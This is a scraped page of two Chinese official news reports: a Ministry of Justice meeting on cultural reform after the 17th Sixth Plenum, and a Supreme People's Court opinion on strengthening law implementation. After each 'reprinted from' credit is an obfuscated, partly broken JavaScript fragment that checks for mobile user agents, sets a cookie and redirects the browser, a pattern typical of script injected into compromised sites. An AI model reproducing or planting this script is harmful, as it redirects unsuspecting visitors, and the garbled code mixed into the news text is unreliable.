吴爱英强调,要充分发挥司法行政职能作用,为深化文化体制改革、推动社会主义文化大发展大繁荣提供法律服务和法律保障。要大力加强法律服务工作,围绕加快发展文化产业,积极为文化单位转企改制、兼并重组以及重大文化产业项目实施、文化企业生产经营、投资融资、发行债券、海外上市等提供法律服务;围绕加强知识产权保护,大力加强知识产权法律服务人才队伍建设,在知识产权创造、管理、使用、保护等环节提供全过程的法律服务;为政府依法管理文化事业和文化产业提供法律服务,积极为各级政府制定文化发展战略规划、出台文化政策、加强文化事业和文化产业的管理、服务等提供法律咨询和建议。要大力加强法制宣传教育,深入宣传与文化事业和文化产业发展相关的法律法规,教育引导公民和文化单位增强法治意识,在宪法和法律范围内从事文化产品创作、生产、经营。要大力加强人民调解工作,充分发挥人民调解在社会矛盾化解体系中的基础作用,大力弘扬中华民族“和为贵”的优秀文化传统,有效预防和化解社会矛盾,促进和谐文化建设。依法调处文化领域的矛盾纠纷,依法规范文化市场秩序。要加强社会主义法治文化建设,弘扬社会主义法治精神,树立社会主义法治理念,加强法治文化产品创作与推广,为推动社会主义文化大发展大繁荣营造良好法治氛围。   吴爱英强调,要认真学习贯彻党的十七届六中全会精神,积极推动司法行政文化大发展大繁荣。一要积极推进社会主义核心价值体系建设。坚持马克思主义指导地位,坚持不懈地用中国特色社会主义理论体系武装队伍,深入开展“发扬传统、坚定信念、执法为民”主题教育实践活动,深入开展“忠诚、为民、公正、廉洁”的政法核心价值观教育,深入开展民族精神教育和时代精神教育,深入开展社会主义荣辱观教育,大力推进学习型党组织建设,不断提高司法行政队伍的思想政治素质和文明素质。二要坚持马克思主义在司法行政文化建设中的指导地位。牢固树立社会主义法治理念,坚决抵制违反我国宪法原则、不符合我国国情的西方法治文化、法治观念的不良影响和侵蚀,坚决抵制封建腐朽文化的不良影响和侵蚀。加强司法行政理论研究,为司法行政工作又好又快发展提供理论支持。三要大力加强司法行政文化建设。加强监狱劳教人民警察文化建设,推动形成具有监狱劳教戒毒工作特色的警察文化。加强律师文化建设,培育和弘扬中国特色社会主义律师执业精神。加强司法行政文化阵地建设,积极开展丰富多彩的文化活动,努力创作更多思想性艺术性观赏性相统一、群众喜闻乐见的司法行政文化优秀作品。大力推进司法行政系统政务诚信和司法公信建设。四要积极推进司法行政系统新闻出版单位改革发展,加强司法行政系统法制新闻工作,充分发挥法制新闻工作在舆论引导格局中的积极作用。   吴爱英最后强调,部机关各司局、各直属单位和各级司法行政机关要以学习贯彻党的十七届六中全会精神为动力,进一步增强责任感和紧迫感,求真务实,狠抓落实,全面做好司法行政各项工作,更好地服务经济平稳较快发展,加强和创新社会管理,维护社会和谐稳定,以优异成绩迎接党的十八大胜利召开。   司法部副部长、党组副书记陈训秋,副部长、党组成员郝赤勇、赵大程,中央纪委驻司法部纪检组组长、党组成员韩亨林,政治部主任、党组成员张彦珍出席会议。部机关各司局、各直属单位主要负责同志列席会议。   另悉,司法部于10月20日上午召开部机关全体党员干部大会,传达学习党的十七届六中全会精神,对深入学习贯彻党的十七届六中全会精神作出具体部署。 转载于中国普法网var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

最高人民法院出台意见指导全国法院加强法律实施工作

最高人民法院出台意见指导全国法院加强法律实施工作   本站北京8月15日讯 为指导全国法院更加全面、正确、有效地学习和实施中国特色社会主义法律体系,近日,最高人民法院出台《人民法院加强法律实施工作的意见》(以下简称《意见》),要求各级人民法院全面、准确地学习领会中国特色社会主义法律体系的精神实质,进一步加强法律实施工作,充分发挥审判执行职能作用,切实维护社会公平正义,为促进经济平稳较快发展和社会和谐稳定,夺取全面建设小康社会新胜利提供坚强有力的司法保障。   《意见》指出,中国特色社会主义法律体系形成对全面落实依法治国基本方略、建设富强民主文明和谐的社会主义现代化国家、实现国家长治久安和中华民族伟大复兴有着重大意义。《意见》认为中国特色社会主义法律体系形成对人民司法事业的发展、建设公正高效权威的社会主义司法制度和人民法院依法履行审判职责有着重大意义。   《意见》强调,各级人民法院以邓小平理论和“三个代表”重要思想为指导,深入贯彻落实科学发展观,坚持“党的事业至上、人民利益至上、宪法法律至上”的工作指导思想和“为大局服务、为人民司法”的工作主题,牢固树立社会主义法治理念和审判理念,按照全面落实依法治国基本方略、加快建设社会主义法治国家的要求,深刻理解中国特色社会主义法律体系的政治性、人民性、科学性和开放性,强化法律意识,维护宪法法律权威、维护人民群众合法权益、服务党和国家工作大局、实现法律效果与社会效果的有机统一。   《意见》要求,各级人民法院要通过履行审判执行工作职责,实施好法律,包括规范立案工作,切实解决诉讼难;加强刑事、民事、行政审判工作,正确实施刑事、民事和行政法律;加强国家赔偿工作,正确实施国家赔偿法;加强执行工作,切实维护法律尊严;加强审判监督工作,坚持依法纠错;加强调解工作,切实贯彻“调解优先、调判结合”工作原则;加强司法解释,统一法律适用;加强案例指导,统一裁判尺度。   《意见》号召,各级人民法院要创新完善加强法律实施工作的机制,确保法律有效实施,包括推进司法民主、司法公开、司法改革,完善便民诉讼机制和审判管理体系,加强法院政务管理和司法能力建设,加强法治宣传,加强学习和调研,不断提高实施法律的能力。 转载于最高人民法院网var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}


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